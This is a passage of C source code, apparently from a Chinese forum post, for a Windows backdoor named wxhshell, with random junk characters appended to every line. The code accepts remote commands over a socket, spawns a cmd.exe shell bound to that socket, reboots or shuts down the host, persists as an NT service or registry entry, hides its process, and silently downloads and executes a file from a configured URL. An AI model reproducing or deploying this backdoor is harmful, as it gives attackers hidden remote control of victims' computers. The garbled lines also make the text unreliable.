"O$bq::(]e  
    switch(cmd[0]) { G?4@[m  
  O]:9va  
  // 帮助 =4TQ*;V:  
  case '?': { $v>q'8d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A;cA|`b  
    break; _|~Dj)z  
  } =<\22d5L  
  // 安装 'h$:~C  
  case 'i': { }i9:k kfq2  
    if(Install()) HwU9 y   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E|pT6  
    else S2X@t>u-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1$cl "d`~  
    break; KXKT5E$  
    } VuLb9Kn  
  // 卸载 Qt u;_  
  case 'r': { rrIyZ@_d9  
    if(Uninstall()) A}fm).Wp@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7cc^n\c?Y  
    else -jQ*r$iRE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hqRC:p#9  
    break; 0 kJ8H!~u  
    } 4*_jGw  
  // 显示 wxhshell 所在路径 Mo/R+\u+Y  
  case 'p': { PRfq_:xy  
    char svExeFile[MAX_PATH]; _hnsH I!oD  
    strcpy(svExeFile,"\n\r"); #H$lBC WI  
      strcat(svExeFile,ExeFile); e;i 6C%DB  
        send(wsh,svExeFile,strlen(svExeFile),0); XtCIUC{r,  
    break; .AN1Yt  
    } z+Xr2B  
  // 重启 fY]"_P  
  case 'b': { k(H&Af+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V|Bwle  
    if(Boot(REBOOT)) b'wy{~l@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . 0dGS  
    else { Bzz|2/1y  
    closesocket(wsh); qrMED_(D  
    ExitThread(0); ~+.=  
    } #-|fdcb  
    break; $f@YQN=  
    } zJXK:/  
  // 关机 2poo@]M/  
  case 'd': { ):N#X<b':  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); la;*>  
    if(Boot(SHUTDOWN)) d&3"?2 IQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [aSuEu?mC  
    else { y&(#C:N  
    closesocket(wsh); y;o - @]  
    ExitThread(0); 2ZxhV4\  
    } ^%!{qAp}Z  
    break; [%k8l~ 6  
    } si&du  
  // 获取shell H*]Vs=1  
  case 's': { 5V 2ZAYV  
    CmdShell(wsh); T]wC?gQG  
    closesocket(wsh); 'VV U-)(8  
    ExitThread(0); 9!Av sC9  
    break; G]h_z|$K  
  } B=Kr J{&!  
  // 退出 $SQ$2\iC  
  case 'x': { SM~~:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gk%01&_>4  
    CloseIt(wsh); V u")%(ix  
    break; )\yK61aX  
    } 6UCF w>  
  // 离开 <M9NyD`  
  case 'q': { ?22U0UF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s AFn.W  
    closesocket(wsh); :uo)-9_  
    WSACleanup(); 3JC uM_y  
    exit(1); 1 b 7jNkQ  
    break; b |:Y3_>  
        } "{8j!+]4i  
  } *I :c@iCNJ  
  } 7V%P  
-sJ1q^;f@  
  // 提示信息 !aSj1 2J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $e1.y b%  
} 9(t(sP_  
  } ;6@sC[  
HGAi2+&  
  return; LqYyIbsvf  
} Tdh(J",d  
{|>'(iqH"w  
// shell模块句柄 fTXip)n!r  
int CmdShell(SOCKET sock) P;"moluE;  
{ @Ommd{0M  
STARTUPINFO si; # fqrZ9:@  
ZeroMemory(&si,sizeof(si)); 3;buC|ky  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A+^okT37r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {m!5IR  
PROCESS_INFORMATION ProcessInfo; e^lX|L>o  
char cmdline[]="cmd"; uZ8-?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~QSX 1w"  
  return 0; e?XFtIj$  
} "BsK' yo.  
^g4Gw6q 6  
// 自身启动模式 #b/L~Bw[  
int StartFromService(void) dQT[pNp:  
{ pO *[~yq5  
typedef struct t+ w{uwEY  
{ a X1b(h2  
  DWORD ExitStatus; (zFqb,P  
  DWORD PebBaseAddress; Mf14> `<`  
  DWORD AffinityMask; wU|@fm"  
  DWORD BasePriority; #czTX%+9(e  
  ULONG UniqueProcessId; A|LO!P,w  
  ULONG InheritedFromUniqueProcessId; 3E wdu  
}   PROCESS_BASIC_INFORMATION; w71YA#cg  
t Aq0Z)  
PROCNTQSIP NtQueryInformationProcess; T9R# .y,  
nrY)i_\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mhVLlb Y|t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; : %& E58  
.X%J}c$  
  HANDLE             hProcess; EMP|I^  
  PROCESS_BASIC_INFORMATION pbi; )Xqjl  
 g*a+$'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PP{ 9Y Vr  
  if(NULL == hInst ) return 0; vyDxX  
A:Wr5`FJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _cvX$(Sg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MrzD ah9UG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Q(E {c3"  
ntLEk fK{  
  if (!NtQueryInformationProcess) return 0; V?dwTc  
M~\dvJ$cH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oi|N8a2R  
  if(!hProcess) return 0; PwW$=M{\.  
A:ts_*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =s!0EwDH3  
,r*Kxy  
  CloseHandle(hProcess); EF!J#N2  
vYm-$KQ"o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9HO9>^  
if(hProcess==NULL) return 0; L9O;K$[s  
|` ~ioF  
HMODULE hMod; ^+Nd\tp  
char procName[255]; \t)va:y  
unsigned long cbNeeded; Hy4;i^Ik <  
+z nlf-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r'Wf4p^Xd  
3" m]A/6C}  
  CloseHandle(hProcess); P!Fy kg  
VxDIA_@y  
if(strstr(procName,"services")) return 1; // 以服务启动 Pw<'rN8''  
C]2-V1,ZX  
  return 0; // 注册表启动 b5H}0<  
} {Z k^J  
<qfAW?tF  
// 主模块 %W9R08`  
int StartWxhshell(LPSTR lpCmdLine) l,lqhq\  
{ \_O#M   
  SOCKET wsl; "<+~uz  
BOOL val=TRUE; hy~[7:/<I&  
  int port=0; %IBT85{  
  struct sockaddr_in door; R/x3+_.f  
!b_(|~7Lc  
  if(wscfg.ws_autoins) Install(); {Vj&i.2,  
w[d8#U   
port=atoi(lpCmdLine); F/ZFO5C%  
p#jAEY p  
if(port<=0) port=wscfg.ws_port; iS,l  
xgMh@@e  
  WSADATA data; l#enbQ`-~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; peu9B gs  
/>mK.FT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "'bl)^+?,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i<F7/p "-  
  door.sin_family = AF_INET; MrB#=3pT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  "x9yb0  
  door.sin_port = htons(port); z |llf7:  
O Ol:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lo'pNJH;$  
closesocket(wsl); Oe1WnS 7(]  
return 1; z(A[xN@/W<  
} N<i5X.X  
oaqH@`  
  if(listen(wsl,2) == INVALID_SOCKET) { m|W17LhW{  
closesocket(wsl); \1G '{# Q  
return 1; u ,3B[  
} W9]z]6  
  Wxhshell(wsl); BeLD`4K  
  WSACleanup(); K7`6G[RMb  
hUi@T}aA|  
return 0; DAb/B  
tgKr*8t{  
} D%]S>g5k  
is8i_FoD,n  
// 以NT服务方式启动 `{:Nt#7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " Bx@(  
{ GIzB1cl:  
DWORD   status = 0; Op-z"inw  
  DWORD   specificError = 0xfffffff; (*$F7oO<  
2pdeJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FShjUl>mV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I;NW!"pU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ur#jJR@%3  
  serviceStatus.dwWin32ExitCode     = 0; +Mq\3  
  serviceStatus.dwServiceSpecificExitCode = 0; QO}~"lMj  
  serviceStatus.dwCheckPoint       = 0; SM8N*WdiU  
  serviceStatus.dwWaitHint       = 0; zEFS\nP}E  
,e43m=KhK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A .&c>{B7  
  if (hServiceStatusHandle==0) return; w@^J.7h^  
*@''OyL  
status = GetLastError(); r\Y,*e  
  if (status!=NO_ERROR) |gI>Sp%Fu  
{ pFS@yHs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uo >aQk  
    serviceStatus.dwCheckPoint       = 0; $x'jf?zs!  
    serviceStatus.dwWaitHint       = 0; pL1ABvBB  
    serviceStatus.dwWin32ExitCode     = status; Rb:H3zh  
    serviceStatus.dwServiceSpecificExitCode = specificError; x3cjyu<K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQ{|0+l  
    return; zA9q`ePS  
  } 5zBA]1PY  
)iw-l~y;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ck )W=  
  serviceStatus.dwCheckPoint       = 0; Zq 85q  
  serviceStatus.dwWaitHint       = 0; L" ejA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -c&=3O!  
} 0RA#Y(IR  
B{&W|z{$  
// 处理NT服务事件,比如:启动、停止 `[5xncZ-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) { .$7g8]I  
{ mv99SOe[Fz  
switch(fdwControl) -:%QoRC y  
{ C/Q20  
case SERVICE_CONTROL_STOP: yS~Y"#F!.  
  serviceStatus.dwWin32ExitCode = 0; UUDUd a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +@?Q"B5u}  
  serviceStatus.dwCheckPoint   = 0; \JM6zR^Ef  
  serviceStatus.dwWaitHint     = 0; m8F$h-  
  { Ag9GYm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1ARtFR2C{b  
  } }{N#JTmjB#  
  return; a%Q`R;W  
case SERVICE_CONTROL_PAUSE: c qCNk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ):PN0.H8  
  break; %cn 1d>M+I  
case SERVICE_CONTROL_CONTINUE: 6"G(Iq'2t3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "L]v:lg3  
  break; &*OwoTgk+  
case SERVICE_CONTROL_INTERROGATE: :ir#7/  
  break; %U{sn\V  
}; P_3IFHe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $a~  
} N9M}H#  
TNqL ')f  
// 标准应用程序主函数 4j3_OUwWZx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ivgX o'=  
{ I[&x-}w  
8(4!x$,Z5  
// 获取操作系统版本 |iUF3s|?  
OsIsNt=GetOsVer(); 9ia&/BT7"z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [8za=B/  
kEq~M10  
  // 从命令行安装 2?%*UxcO  
  if(strpbrk(lpCmdLine,"iI")) Install(); .\oW@2,RA9  
V]--d33/a  
  // 下载执行文件 >bV3~m$a+  
if(wscfg.ws_downexe) { ?<t?G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dYISjk@  
  WinExec(wscfg.ws_filenam,SW_HIDE); t`Bk2Cc)+  
} } 9zi5 o8  
o=Z:0Ukl]  
if(!OsIsNt) { *Hn=)q  
// 如果时win9x,隐藏进程并且设置为注册表启动 zqj|$YNC  
HideProc(); _UTN4z2aTG  
StartWxhshell(lpCmdLine);  dHx4yFS  
} [xM&Jdf8  
else gH(#<f@ZI  
  if(StartFromService()) uq]=L  
  // 以服务方式启动 Q<6* UUQm  
  StartServiceCtrlDispatcher(DispatchTable); +ZjDTTk  
else 25Z} .))  
  // 普通方式启动 W]Xwt'ABz  
  StartWxhshell(lpCmdLine); T4:H:  
MMrN#&r  
return 0; @Pc7$qD%  
}
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只看该作者 1 发表于: 2006-10-10
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